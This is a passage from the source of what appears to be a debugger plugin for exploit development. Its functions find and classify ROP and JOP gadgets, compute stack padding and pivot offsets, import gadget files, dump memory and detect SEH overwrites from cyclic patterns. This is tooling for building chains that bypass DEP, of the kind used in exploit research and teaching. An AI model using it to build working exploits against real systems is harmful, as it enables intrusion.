= getJunk(interestinggadgets[pptr])-4 + else: + blocktxt2 += " 0x????????,# find a way to pop the next value into "+thisreg+"\n" + blocktxt2 += negateline + negptr = getShortestGadget(suggestions["neg " + thisreg]) + blocktxt2 += " 0x" + toHex(negptr)+", "+interestinggadgets[negptr].strip()+" ("+MnPointer(negptr).belongsTo()+")\n" + junk2size = junk2size + getJunk(interestinggadgets[negptr])-4 + #now move it to reg + if "move " + thisreg + " -> " + reg in suggestions: + bptr = getShortestGadget(suggestions["move " + thisreg + " -> " + reg]) + if interestinggadgets[bptr].strip().startswith("# ADD"): + if not "clear " + reg in suggestions: + # other way to clear reg, using pop + inc ? + if not "inc " + reg in suggestions or not "pop " + reg in suggestions: + blocktxt2 += " 0x????????, # find pointer to clear " + reg+"\n" + else: + #pop FFFFFFFF into reg, then do inc reg => 0 + pptr = getShortestGadget(suggestions["pop " + reg]) + blocktxt2 += " 0x" + toHex(pptr)+", "+interestinggadgets[pptr].strip()+" ("+MnPointer(pptr).belongsTo()+")\n" + blocktxt2 += " 0xffffffff, # pop value into " + reg + "\n" + blocktxt2 += createJunk(getJunk(interestinggadgets[pptr])-4) + iptr = getShortestGadget(suggestions["inc " + reg]) + blocktxt2 += " 0x" + toHex(iptr)+", "+interestinggadgets[iptr].strip()+" ("+MnPointer(pptr).belongsTo()+")\n" + junksize += getJunk(interestinggadgets[iptr]) + else: + clearptr = getShortestGadget(suggestions["empty " + reg]) + blocktxt2 += " 0x" + toHex(clearptr)+", "+interestinggadgets[clearptr].strip()+" ("+MnPointer(clearptr).belongsTo()+")\n" + junk2size = junk2size + getJunk(interestinggadgets[clearptr])-4 + blocktxt2 += " 0x" + toHex(bptr)+", "+interestinggadgets[bptr].strip()+" ("+MnPointer(bptr).belongsTo()+")\n" + junk2size = junk2size + getJunk(interestinggadgets[bptr])-4 + else: + negfound = False + if negfound: + blocktxt += blocktxt2 + else: + blocktxt = "" + junksize = junksize + junk2size + return blocktxt,junksize + +def getOffset(instructions): + offset = 0 + instrparts = instructions.split("#") + retpart = instrparts[len(instrparts)-1].strip() + retparts = retpart.split(" ") + if len(retparts) > 1: + offset = hexStrToInt(retparts[1]) + return offset + +def getJunk(instructions): + junkpop = instructions.count("POP ") * 4 + junkpush = instructions.count("PUSH ") * -4 + junkpushad = instructions.count("PUSHAD ") * -32 + junkpopad = instructions.count("POPAD") * 32 + junkinc = instructions.count("INC ESP") * 1 + junkdec = instructions.count("DEC ESP") * -1 + junkesp = 0 + if instructions.find("ADD ESP,") > -1: + instparts = instructions.split("#") + for part in instparts: + thisinstr = part.strip() + if thisinstr.startswith("ADD ESP,"): + value = thisinstr.split(",") + junkesp += hexStrToInt(value[1]) + if instructions.find("SUB ESP,") > -1: + instparts = instructions.split("#") + for part in instparts: + thisinstr = part.strip() + if thisinstr.startswith("SUB ESP,"): + value = thisinstr.split(",") + junkesp -= hexStrToInt(value[1]) + junk = junkpop + junkpush + junkpopad + junkpushad + junkesp + return junk + +def createJunk(size,message="filler (compensate)",alignsize=0): + bytecnt = 0 + dword = 0 + junktxt = "" + while bytecnt < size: + dword = 0 + junktxt += " 0x" + while dword < 4 and bytecnt < size : + junktxt += "41" + dword += 1 + bytecnt += 1 + junktxt += "," + junktxt += toSize("",alignsize + 4 - dword) + junktxt += " # "+message+"\n" + return junktxt + + +def getShortestGadget(chaintypedict): + shortest = 100 + shortestptr = 0 + shortestinstr = "A" * 1000 + thischaindict = chaintypedict.copy() + #shuffle dict so returning ptrs would be different each time + while thischaindict: + typeptr, thisinstr = random.choice(thischaindict.items()) + if thisinstr.startswith("# XOR") or thisinstr.startswith("# OR") or thisinstr.startswith("# AD"): + thisinstr += " " # make sure we don prefer MOV or XCHG + thiscount = thisinstr.count("#") + thischaindict.pop(typeptr) + if thiscount < shortest: + shortest = thiscount + shortestptr = typeptr + shortestinstr = thisinstr + else: + if thiscount == shortest: + if len(thisinstr) < len(shortestinstr): + shortest = thiscount + shortestptr = typeptr + shortestinstr = thisinstr + return shortestptr + +def isInterestingGadget(instructions): + if isAsciiString(instructions): + interesting = [ + "POP E", "XCHG E", "LEA E", "PUSH E", "XOR E", "AND E", "NEG E", + "OR E", "ADD E", "SUB E", "INC E", "DEC E", "POPAD", "PUSHAD", + "SUB A", "ADD A", "NOP", "ADC E", + "SUB BH", "SUB BL", "ADD BH", "ADD BL", + "SUB CH", "SUB CL", "ADD CH", "ADD CL", + "SUB DH", "SUB DL", "ADD DH", "ADD DL", + "MOV E", "CLC", "CLD", "FS:", "FPA", "TEST " + ] + notinteresting = [ "MOV ESP,EBP", "LEA ESP" ] + subregs = ["EAX","ECX","EDX","EBX","EBP","ESI","EDI"] + regs = dbglib.Registers32BitsOrder + individual = instructions.split("#") + cnt = 0 + allgood = True + toskip = False + while (cnt < len(individual)-1) and allgood: # do not check last one, which is the ending instruction + thisinstr = individual[cnt].strip().upper() + if thisinstr != "": + toskip = False + foundinstruction = False + for notinterest in notinteresting: + if thisinstr.find(notinterest) > -1: + toskip= True + if not toskip: + for interest in interesting: + if thisinstr.find(interest) > -1: + foundinstruction = True + if not foundinstruction: + #check the conditional instructions + if thisinstr.find("MOV DWORD PTR DS:[E") > -1: + thisinstrparts = thisinstr.split(",") + if len(thisinstrparts) > 1: + if thisinstrparts[1] in regs: + foundinstruction = True + # other exceptions - don't combine ADD BYTE or ADD DWORD with XCHG EAX,ESI - EAX may not be writeable + #if instructions.strip().startswith("# XCHG") and (thisinstr.find("ADD DWORD") > -1 or thisinstr.find("ADD BYTE") > -1) and not instructions.strip().startswith("# XCHG EAX,ESI") : + # allow - tricky case, but sometimes needed + # foundinstruction = True + allgood = foundinstruction + else: + allgood = False + cnt += 1 + return allgood + return False + +def isInterestingJopGadget(instructions): + interesting = [ + "POP E", "XCHG E", "LEA E", "PUSH E", "XOR E", "AND E", "NEG E", + "OR E", "ADD E", "SUB E", "INC E", "DEC E", "POPAD", "PUSHAD", + "SUB A", "ADD A", "NOP", "ADC E", + "SUB BH", "SUB BL", "ADD BH", "ADD BL", + "SUB CH", "SUB CL", "ADD CH", "ADD CL", + "SUB DH", "SUB DL", "ADD DH", "ADD DL", + "MOV E", "CLC", "CLD", "FS:", "FPA" + ] + notinteresting = [ "MOV ESP,EBP", "LEA ESP" ] + regs = dbglib.Registers32BitsOrder + individual = instructions.split("#") + cnt = 0 + allgood = True + popfound = False + toskip = False + # what is the jmp instruction ? + lastinstruction = individual[len(individual)-1].replace("[","").replace("+"," ").replace("]","").strip() + + jmp = lastinstruction.split(' ')[1].strip().upper().replace(" ","") + + regs = ["EAX","EBX","ECX","EDX","ESI","EDI","EBP","ESP"] + regs.remove(jmp) + if jmp != "ESP": + if instructions.find("POP "+jmp) > -1: + popfound=True + else: + for reg in regs: + poploc = instructions.find("POP "+reg) + if (poploc > -1): + if (instructions.find("MOV "+reg+","+jmp) > poploc) or (instructions.find("XCHG "+reg+","+jmp) > poploc) or (instructions.find("XCHG "+jmp+","+reg) > poploc): + popfound = True + allgood = popfound + return allgood + +def readGadgetsFromFile(filename): + """ + Reads a mona/msf generated rop file + + Arguments : + filename - the full path + filename of the source file + + Return : + dictionary containing the gadgets (grouped by ending type) + """ + + readopcodes = {} + + srcfile = open(filename,"rb") + content = srcfile.readlines() + srcfile.close() + msffiledetected = False + #what kind of file do we have + for thisLine in content: + if thisLine.find("mod:") > -1 and thisLine.find("ver:") > -1 and thisLine.find("VA") > -1: + msffiledetected = True + break + if msffiledetected: + dbg.log("[+] Importing MSF ROP file...") + addrline = 0 + ending = "" + thisinstr = "" + thisptr = "" + for thisLine in content: + if thisLine.find("[addr:") == 0: + thisLineparts = thisLine.split("]") + if addrline == 0: + thisptr = hexStrToInt(thisLineparts[0].replace("[addr: ","")) + thisLineparts = thisLine.split(" ") + thisinstrpart = thisLineparts[len(thisLineparts)-1].upper().strip() + if thisinstrpart != "": + thisinstr += " # " + thisinstrpart + ending = thisinstrpart + addrline += 1 + else: + addrline = 0 + if thisptr != "" and ending != "" and thisinstr != "": + if not ending in readopcodes: + readopcodes[ending] = [thisptr,thisinstr] + else: + readopcodes[ending] += ([thisptr,thisinstr]) + thisptr = "" + ending = "" + thisinstr = "" + + else: + dbg.log("[+] Importing Mona legacy ROP file...") + for thisLine in content: + if isAsciiString(thisLine.replace("\r","").replace("\n","")): + refpointer,instr = splitToPtrInstr(thisLine) + if refpointer != -1: + #get ending + instrparts = instr.split("#") + ending = instrparts[len(instrparts)-1] + if not ending in readopcodes: + readopcodes[ending] = [refpointer,instr] + else: + readopcodes[ending] += ([refpointer,instr]) + return readopcodes + +def isGoodGadgetPtr(gadget,criteria): + if gadget in CritCache: + return CritCache[gadget] + else: + gadgetptr = MnPointer(gadget) + status = meetsCriteria(gadgetptr,criteria) + CritCache[gadget] = status + return status + +def getStackPivotDistance(gadget,distance=0): + offset = 0 + distance_str = str(distance).lower() + mindistance = 0 + maxdistance = 0 + + if "," not in distance_str: + # only mindistance + maxdistance = 99999999 + mindistance = to_int(distance_str) + else: + mindistance, maxdistance = distance_str.split(",") + mindistance = to_int(mindistance) + maxdistance = to_int(maxdistance) + + gadgets = filter(lambda x: x.strip(), gadget.split(" # ")) + + for g in gadgets: + if "ADD ESP," in g: + offset += hexStrToInt(g.split(",")[1]) + elif "SUB ESP," in g: + offset += hexStrToInt(g.split(",")[1]) + elif "INC ESP" in g: + offset += 1 + elif "DEC ESP" in g: + offset -= 1 + elif "POP " in g: + offset += 4 + elif "PUSH " in g: + offset -= 4 + elif "POPAD" in g: + offset += 32 + elif "PUSHAD" in g: + offset -= 32 + elif ("DWORD PTR" in g or "[" in g) and "FS" not in g: + return 0 + + if mindistance <= offset and offset <= maxdistance: + return offset + else: + return 0 + +def isGoodGadgetInstr(instruction): + if isAsciiString(instruction): + forbidden = [ + "???", "LEAVE", "JMP ", "CALL ", "JB ", "JL ", "JE ", "JNZ ", + "JGE ", "JNS ","SAL ", "LOOP", "LOCK", "BOUND", "SAR", "IN ", + "OUT ", "RCL", "RCR", "ROL", "ROR", "SHL", "SHR", "INT", "JECX", + "JNP", "JPO", "JPE", "JCXZ", "JA", "JB", "JNA", "JNB", "JC", "JNC", + "JG", "JLE", "MOVS", "CMPS", "SCAS", "LODS", "STOS", "REP", "REPE", + "REPZ", "REPNE", "REPNZ", "LDS", "FST", "FIST", "FMUL", "FDIVR", + "FSTP", "FST", "FLD", "FDIV", "FXCH", "JS ", "FIDIVR", "SBB", + "SALC", "ENTER", "CWDE", "FCOM", "LAHF", "DIV", "JO", "OUT", "IRET", + "FILD", "RETF","HALT","HLT","AAM","FINIT","INT3" + ] + for instr in forbidden: + if instruction.upper().find(instr) > -1: + return False + return True + return False + +def isGoodJopGadgetInstr(instruction): + if isAsciiString(instruction): + forbidden = [ + "???", "LEAVE", "RETN", "CALL ", "JB ", "JL ", "JE ", "JNZ ", + "JGE ", "JNS ","SAL ", "LOOP", "LOCK", "BOUND", "SAR", "IN ", + "OUT ", "RCL", "RCR", "ROL", "ROR", "SHL", "SHR", "INT", "JECX", + "JNP", "JPO", "JPE", "JCXZ", "JA", "JB", "JNA", "JNB", "JC", "JNC", + "JG", "JLE", "MOVS", "CMPS", "SCAS", "LODS", "STOS", "REP", "REPE", + "REPZ", "REPNE", "REPNZ", "LDS", "FST", "FIST", "FMUL", "FDIVR", + "FSTP", "FST", "FLD", "FDIV", "FXCH", "JS ", "FIDIVR", "SBB", + "SALC", "ENTER", "CWDE", "FCOM", "LAHF", "DIV", "JO", "OUT", "IRET", + "FILD", "RETF","HALT","HLT","AAM","FINIT" + ] + for instr in forbidden: + if instruction.upper().find(instr) > -1: + return False + return True + return False + +def isGadgetEnding(instruction,endings,verbosity=False): + for ending in endings: + if instruction.lower().find(ending.lower()) > -1: + return True + return False + +def getRopSuggestion(ropchains,allchains): + suggestions={} + # pushad + # ====================== + regs = ["EAX","EBX","ECX","EDX","EBP","ESI","EDI"] + pushad_allowed = [ "INC ","DEC ","OR ","XOR ","LEA ","ADD ","SUB ", "PUSHAD", "RETN ", "NOP", "POP ","PUSH EAX","PUSH EDI","ADC ","FPATAN","MOV E" , "TEST ", "CMP "] + for r in regs: + pushad_allowed.append("MOV "+r+",DWORD PTR DS:[ESP") #stack + pushad_allowed.append("MOV "+r+",DWORD PTR SS:[ESP") #stack + pushad_allowed.append("MOV "+r+",DWORD PTR DS:[ESI") #virtualprotect + pushad_allowed.append("MOV "+r+",DWORD PTR SS:[ESI") #virtualprotect + pushad_allowed.append("MOV "+r+",DWORD PTR DS:[EBP") #stack + pushad_allowed.append("MOV "+r+",DWORD PTR SS:[EBP") #stack + for r2 in regs: + pushad_allowed.append("MOV "+r+","+r2) + pushad_allowed.append("XCHG "+r+","+r2) + pushad_allowed.append("LEA "+r+","+r2) + pushad_notallowed = ["POP ESP","POPAD","PUSH ESP","MOV ESP","ADD ESP", "INC ESP","DEC ESP","XOR ESP","LEA ESP","SS:","DS:"] + for gadget in ropchains: + gadgetinstructions = ropchains[gadget].strip() + if gadgetinstructions.find("PUSHAD") == 2: + # does chain only contain allowed instructions + # one pop is allowed, as long as it's not pop esp + # push edi and push eax are allowed too (ropnop) + if gadgetinstructions.count("POP ") < 2 and suggestedGadgetCheck(gadgetinstructions,pushad_allowed,pushad_notallowed): + toadd={} + toadd[gadget] = gadgetinstructions + if not "pushad" in suggestions: + suggestions["pushad"] = toadd + else: + suggestions["pushad"] = mergeOpcodes(suggestions["pushad"],toadd) + # pick up a pointer + # ========================= + pickedupin = [] + resulthash = "" + allowedpickup = True + for r in regs: + for r2 in regs: + pickup_allowed = ["NOP","RETN ","INC ","DEC ","OR ","XOR ","MOV ","LEA ","ADD ","SUB ","POP","ADC ","FPATAN", "TEST ", "CMP "] + pickup_target = [] + pickup_notallowed = [] + pickup_allowed.append("MOV "+r+",DWORD PTR SS:["+r2+"]") + pickup_allowed.append("MOV "+r+",DWORD PTR DS:["+r2+"]") + pickup_target.append("MOV "+r+",DWORD PTR SS:["+r2+"]") + pickup_target.append("MOV "+r+",DWORD PTR DS:["+r2+"]") + pickup_notallowed = ["POP "+r, "MOV "+r+",E", "LEA "+r+",E", "MOV ESP", "XOR ESP", "LEA ESP", "MOV DWORD PTR", "DEC ESP"] + for gadget in ropchains: + gadgetinstructions = ropchains[gadget].strip() + allowedpickup = False + for allowed in pickup_target: + if gadgetinstructions.find(allowed) == 2 and gadgetinstructions.count("DWORD PTR") == 1: + allowedpickup = True + break + if allowedpickup: + if suggestedGadgetCheck(gadgetinstructions,pickup_allowed,pickup_notallowed): + toadd={} + toadd[gadget] = gadgetinstructions + resulthash = "pickup pointer into "+r.lower() + if not resulthash in suggestions: + suggestions[resulthash] = toadd + else: + suggestions[resulthash] = mergeOpcodes(suggestions[resulthash],toadd) + if not r in pickedupin: + pickedupin.append(r) + if len(pickedupin) == 0: + for r in regs: + for r2 in regs: + pickup_allowed = ["NOP","RETN ","INC ","DEC ","OR ","XOR ","MOV ","LEA ","ADD ","SUB ","POP", "ADC ","FPATAN", "TEST ", "CMP "] + pickup_target = [] + pickup_notallowed = [] + pickup_allowed.append("MOV "+r+",DWORD PTR SS:["+r2+"+") + pickup_allowed.append("MOV "+r+",DWORD PTR DS:["+r2+"+") + pickup_target.append("MOV "+r+",DWORD PTR SS:["+r2+"+") + pickup_target.append("MOV "+r+",DWORD PTR DS:["+r2+"+") + pickup_notallowed = ["POP "+r, "MOV "+r+",E", "LEA "+r+",E", "MOV ESP", "XOR ESP", "LEA ESP", "MOV DWORD PTR"] + for gadget in ropchains: + gadgetinstructions = ropchains[gadget].strip() + allowedpickup = False + for allowed in pickup_target: + if gadgetinstructions.find(allowed) == 2 and gadgetinstructions.count("DWORD PTR") == 1: + allowedpickup = True + break + if allowedpickup: + if suggestedGadgetCheck(gadgetinstructions,pickup_allowed,pickup_notallowed): + toadd={} + toadd[gadget] = gadgetinstructions + resulthash = "pickup pointer into "+r.lower() + if not resulthash in suggestions: + suggestions[resulthash] = toadd + else: + suggestions[resulthash] = mergeOpcodes(suggestions[resulthash],toadd) + if not r in pickedupin: + pickedupin.append(r) + # move pointer into another pointer + # ================================= + for reg in regs: #from + for reg2 in regs: #to + if reg != reg2: + moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR ","ADD ","PUSH ","AND ", "XCHG ", "ADC ","FPATAN", "TEST ", "CMP "] + moveptr_notallowed = ["POP "+reg2,"MOV "+reg2+",","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"DS:","SS:","PUSHAD","POPAD", "DEC ESP"] + suggestions = mergeOpcodes(suggestions,getRegToReg("MOVE",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed)) + # if we didn't find any, expand the search + if not ("move " + reg + " -> " + reg2).lower() in suggestions: + moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR ","ADD ","PUSH ","AND ", "XCHG ", "ADC ","FPATAN", "TEST ", "CMP "] + moveptr_notallowed = ["POP "+reg2,"MOV "+reg2+",","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"PUSHAD","POPAD", "DEC ESP"] + suggestions = mergeOpcodes(suggestions,getRegToReg("MOVE",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed)) + + reg2 = "ESP" #special case + if reg != reg2: + moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR ","ADD ","PUSH ","AND ", "MOV ", "XCHG ", "ADC ", "TEST ", "CMP "] + moveptr_notallowed = ["ADD "+reg2, "ADC "+reg2, "POP "+reg2,"MOV "+reg2+",","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"DS:","SS:","PUSHAD","POPAD", "DEC ESP"] + suggestions = mergeOpcodes(suggestions,getRegToReg("MOVE",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed)) + + # xor pointer into another pointer + # ================================= + for reg in regs: #from + for reg2 in regs: #to + if reg != reg2: + xorptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR ","ADD ","PUSH ","AND ", "XCHG ", "ADC ","FPATAN", "TEST ", "CMP "] + xorptr_notallowed = ["POP "+reg2,"MOV "+reg2+",","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"DS:","SS:","PUSHAD","POPAD", "DEC ESP"] + suggestions = mergeOpcodes(suggestions,getRegToReg("XOR",reg,reg2,ropchains,xorptr_allowed,xorptr_notallowed)) + + # get stack pointer + # ================= + for reg in regs: + moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR ","ADD ","PUSH ","AND ","MOV ", "ADC ","FPATAN", "TEST ", "CMP "] + moveptr_notallowed = ["POP ESP","MOV ESP,","XCHG ESP,","XOR ESP","LEA ESP,","AND ESP", "ADD ESP", "],","SUB ESP","OR ESP"] + moveptr_notallowed.append("POP "+reg) + moveptr_notallowed.append("MOV "+reg) + moveptr_notallowed.append("XCHG "+reg) + moveptr_notallowed.append("XOR "+reg) + moveptr_notallowed.append("LEA "+reg) + moveptr_notallowed.append("AND "+reg) + suggestions = mergeOpcodes(suggestions,getRegToReg("MOVE","ESP",reg,allchains,moveptr_allowed,moveptr_notallowed)) + # add something to register + # ========================= + for reg in regs: #from + for reg2 in regs: #to + if reg != reg2: + moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR ","ADD ","PUSH ","AND ", "ADC ","FPATAN", "TEST ", "CMP "] + moveptr_notallowed = ["POP "+reg2,"MOV "+reg2+",","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"DS:","SS:", "DEC ESP"] + suggestions = mergeOpcodes(suggestions,getRegToReg("ADD",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed)) + # add value to register + # ========================= + for reg in regs: #to + moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR ","ADD ","PUSH ","AND ", "ADC ", "SUB ","FPATAN", "TEST ", "CMP "] + moveptr_notallowed = ["POP "+reg,"MOV "+reg+",","XCHG "+reg+",","XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP"] + suggestions = mergeOpcodes(suggestions,getRegToReg("ADDVAL",reg,reg,ropchains,moveptr_allowed,moveptr_notallowed)) + + #inc reg + # ======= + for reg in regs: + moveptr_allowed = ["NOP","RETN","POP ","INC " + reg,"DEC ","OR ","XOR ","ADD ","PUSH ","AND ", "ADC ", "SUB ","FPATAN", "TEST ", "CMP "] + moveptr_notallowed = ["POP "+reg,"MOV "+reg+",","XCHG "+reg+",","XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP", "DEC "+reg] + suggestions = mergeOpcodes(suggestions,getRegToReg("INC",reg,reg,ropchains,moveptr_allowed,moveptr_notallowed)) + + #dec reg + # ======= + for reg in regs: + moveptr_allowed = ["NOP","RETN","POP ","DEC " + reg,"INC ","OR ","XOR ","ADD ","PUSH ","AND ", "ADC ", "SUB ","FPATAN", "TEST ", "CMP "] + moveptr_notallowed = ["POP "+reg,"MOV "+reg+",","XCHG "+reg+",","XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP", "INC "+reg] + suggestions = mergeOpcodes(suggestions,getRegToReg("DEC",reg,reg,ropchains,moveptr_allowed,moveptr_notallowed)) + #popad reg + # ======= + popad_allowed = ["POPAD","RETN","INC ","DEC ","OR ","XOR ","ADD ","AND ", "ADC ", "SUB ","FPATAN","POP ", "TEST ", "CMP "] + popad_notallowed = ["POP ESP","PUSH ESP","MOV ESP","ADD ESP", "INC ESP","DEC ESP","XOR ESP","LEA ESP","SS:","DS:"] + for gadget in ropchains: + gadgetinstructions = ropchains[gadget].strip() + if gadgetinstructions.find("POPAD") == 2: + if suggestedGadgetCheck(gadgetinstructions,popad_allowed,popad_notallowed): + toadd={} + toadd[gadget] = gadgetinstructions + if not "popad" in suggestions: + suggestions["popad"] = toadd + else: + suggestions["popad"] = mergeOpcodes(suggestions["popad"],toadd) + # pop + # === + for reg in regs: + pop_allowed = "POP "+reg+" # RETN" + pop_notallowed = [] + for gadget in ropchains: + gadgetinstructions = ropchains[gadget].strip() + if gadgetinstructions.find(pop_allowed) == 2: + resulthash = "pop "+reg.lower() + toadd = {} + toadd[gadget] = gadgetinstructions + if not resulthash in suggestions: + suggestions[resulthash] = toadd + else: + suggestions[resulthash] = mergeOpcodes(suggestions[resulthash],toadd) + + # check if we have a pop for each reg + for reg in regs: + r = reg.lower() + if not "pop "+r in suggestions: + pop_notallowed = ["MOV "+reg+",","XCHG "+reg+",","XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP", "DEC "+reg, "INC " + reg,"PUSH ","XOR "+reg] + for rchain in ropchains: + rparts = ropchains[rchain].strip().split("#") + chainok = False + if rparts[1].strip() == "POP " + reg: + chainok = True + if chainok: + for rpart in rparts: + thisinstr = rpart.strip() + for pna in pop_notallowed: + if thisinstr.find(pna) > -1: + chainok = False + break + if chainok: + toadd = {} + toadd[rchain] = thisinstr + if not "pop " + r in suggestions: + suggestions["pop " + r] = toadd + else: + suggestions["pop " + r] = mergeOpcodes(suggestions["pop " + r],toadd) + # neg + # === + for reg in regs: + neg_allowed = "NEG "+reg+" # RETN" + neg_notallowed = [] + for gadget in ropchains: + gadgetinstructions = ropchains[gadget].strip() + if gadgetinstructions.find(neg_allowed) == 2: + resulthash = "neg "+reg.lower() + toadd = {} + toadd[gadget] = gadgetinstructions + if not resulthash in suggestions: + suggestions[resulthash] = toadd + else: + suggestions[resulthash] = mergeOpcodes(suggestions[resulthash],toadd) + # empty + # ===== + for reg in regs: + empty_allowed = ["XOR "+reg+","+reg+" # RETN","MOV "+reg+",FFFFFFFF # INC "+reg+" # RETN", "SUB "+reg+","+reg+" # RETN", "PUSH 0 # POP "+reg + " # RETN", "IMUL "+reg+","+reg+",0 # RETN"] + empty_notallowed = [] + for gadget in ropchains: + gadgetinstructions = ropchains[gadget].strip() + for empty in empty_allowed: + if gadgetinstructions.find(empty) == 2: + resulthash = "clear "+reg.lower() + toadd = {} + toadd[gadget] = gadgetinstructions + if not resulthash in suggestions: + suggestions[resulthash] = toadd + else: + suggestions[resulthash] = mergeOpcodes(suggestions[resulthash],toadd) + return suggestions + +def getRegToReg(type,fromreg,toreg,ropchains,moveptr_allowed,moveptr_notallowed): + moveptr = [] + instrwithout = "" + toreg = toreg.upper() + srcval = False + resulthash = "" + musthave = "" + if type == "MOVE": + moveptr.append("MOV "+toreg+","+fromreg) + moveptr.append("LEA "+toreg+","+fromreg) + #if not (fromreg == "ESP" or toreg == "ESP"): + moveptr.append("XCHG "+fromreg+","+toreg) + moveptr.append("XCHG "+toreg+","+fromreg) + moveptr.append("PUSH "+fromreg) + moveptr.append("ADD "+toreg+","+fromreg) + moveptr.append("ADC "+toreg+","+fromreg) + moveptr.append("XOR "+toreg+","+fromreg) + if type == "XOR": + moveptr.append("XOR "+toreg+","+fromreg) + if type == "ADD": + moveptr.append("ADD "+toreg+","+fromreg) + moveptr.append("ADC "+toreg+","+fromreg) + moveptr.append("XOR "+toreg+","+fromreg) + if type == "ADDVAL": + moveptr.append("ADD "+toreg+",") + moveptr.append("ADC "+toreg+",") + moveptr.append("XOR "+toreg+",") + moveptr.append("SUB "+toreg+",") + srcval = True + resulthash = "add value to " + toreg + if type == "INC": + moveptr.append("INC "+toreg) + resulthash = "inc " + toreg + if type == "DEC": + moveptr.append("DEC "+toreg) + resulthash = "dec " + toreg + results = {} + if resulthash == "": + resulthash = type +" "+fromreg+" -> "+toreg + resulthash = resulthash.lower() + for tocheck in moveptr: + origtocheck = tocheck + for gadget in ropchains: + gadgetinstructions = ropchains[gadget].strip() + if gadgetinstructions.find(tocheck) == 2: + moveon = True + if srcval: + #check if src is a value + inparts = gadgetinstructions.split(",") + if len(inparts) > 1: + subinparts = inparts[1].split(" ") + if isHexString(subinparts[0].strip()): + tocheck = tocheck + subinparts[0].strip() + else: + moveon = False + if moveon: + instrwithout = gadgetinstructions.replace(tocheck,"") + if tocheck == "PUSH "+fromreg: + popreg = instrwithout.find("POP "+toreg) + popall = instrwithout.find("POP") + #make sure pop matches push + nrpush = gadgetinstructions.count("PUSH ") + nrpop = gadgetinstructions.count("POP ") + pushpopmatch = False + if nrpop >= nrpush: + pushes = [] + pops = [] + ropparts = gadgetinstructions.split(" # ") + pushindex = 0 + popindex = 0 + cntpush = 0 + cntpop = nrpush + for parts in ropparts: + if parts.strip() != "": + if parts.strip().find("PUSH ") > -1: + pushes.append(parts) + if parts.strip() == "PUSH "+fromreg: + cntpush += 1 + if parts.strip().find("POP ") > -1: + pops.append(parts) + if parts.strip() == "POP "+toreg: + cntpop -= 1 + if cntpush == cntpop: + #dbg.log("%s : POPS : %d, PUSHES : %d, pushindex : %d, popindex : %d" % (gadgetinstructions,len(pops),len(pushes),pushindex,popindex)) + #dbg.log("push at %d, pop at %d" % (cntpush,cntpop)) + pushpopmatch = True + if (popreg == popall) and instrwithout.count("POP "+toreg) == 1 and pushpopmatch: + toadd={} + toadd[gadget] = gadgetinstructions + if not resulthash in results: + results[resulthash] = toadd + else: + results[resulthash] = mergeOpcodes(results[resulthash],toadd) + else: + if suggestedGadgetCheck(instrwithout,moveptr_allowed,moveptr_notallowed): + toadd={} + toadd[gadget] = gadgetinstructions + if not resulthash in results: + results[resulthash] = toadd + else: + results[resulthash] = mergeOpcodes(results[resulthash],toadd) + tocheck = origtocheck + return results + +def suggestedGadgetCheck(instructions,allowed,notallowed): + individual = instructions.split("#") + cnt = 0 + allgood = True + toskip = False + while (cnt < len(individual)-1) and allgood: # do not check last one, which is the ending instruction + thisinstr = individual[cnt].upper() + if thisinstr.strip() != "": + toskip = False + foundinstruction = False + for notok in notallowed: + if thisinstr.find(notok) > -1: + toskip= True + if not toskip: + for ok in allowed: + if thisinstr.find(ok) > -1: + foundinstruction = True + allgood = foundinstruction + else: + allgood = False + cnt += 1 + return allgood + +def dumpMemoryToFile(address,size,filename): + """ + Dump 'size' bytes of memory to a file + + Arguments: + address - the address where to read + size - the number of bytes to read + filename - the name of the file where to write the file + + Return: + Boolean - True if the write succeeded + """ + + WRITE_SIZE = 10000 + + dbg.log("Dumping %d bytes from address 0x%08x to %s..." % (size, address, filename)) + out = open(filename,'wb') + + # write by increments of 10000 bytes + current = 0 + while current < size : + bytesToWrite = size - current + if ( bytesToWrite >= WRITE_SIZE): + bytes = dbg.readMemory(address+current,WRITE_SIZE) + out.write(bytes) + current += WRITE_SIZE + else: + bytes = dbg.readMemory(address+current,bytesToWrite) + out.write(bytes) + current += bytesToWrite + out.close() + + return True + +def checkSEHOverwrite(address, nseh, seh): + """ + Checks if the current SEH record is overwritten + with a cyclic pattern + Input : address of SEH record, nseh value, seh value + Returns : array. Non empty array = SEH is overwritten + Array contents : + [0] : type (normal, upper, lower, unicode) + [1] : offset to nseh + """ + pattypes = ["normal","upper","lower","unicode"] + overwritten = [] + global silent + silent = True + + fullpattern = createPattern(50000,{}) + for pattype in pattypes: + regpattern = fullpattern + hexpat = toHex(seh) + hexpat = toAscii(hexpat[6]+hexpat[7])+toAscii(hexpat[4]+hexpat[5])+toAscii(hexpat[2]+hexpat[3])+toAscii(hexpat[0]+hexpat[1]) + factor = 1 + goback = 4 + if pattype == "upper": + regpattern = regpattern.upper() + if pattype == "lower": + regpattern = regpattern.lower() + if pattype == "unicode": + hexpat = dbg.readMemory(address,8) + hexpat = hexpat.replace('\x00','') + goback = 2 + offset = regpattern.find(hexpat)-goback + thissize = 0 + if offset > -1: + thepointer = MnPointer(address) + if thepointer.isOnStack(): + thissize = getPatternLength(address+4,pattype) + if thissize > 0: + overwritten = [pattype,offset] + break + silent = False + return overwritten + + +def goFindMSP(distance = 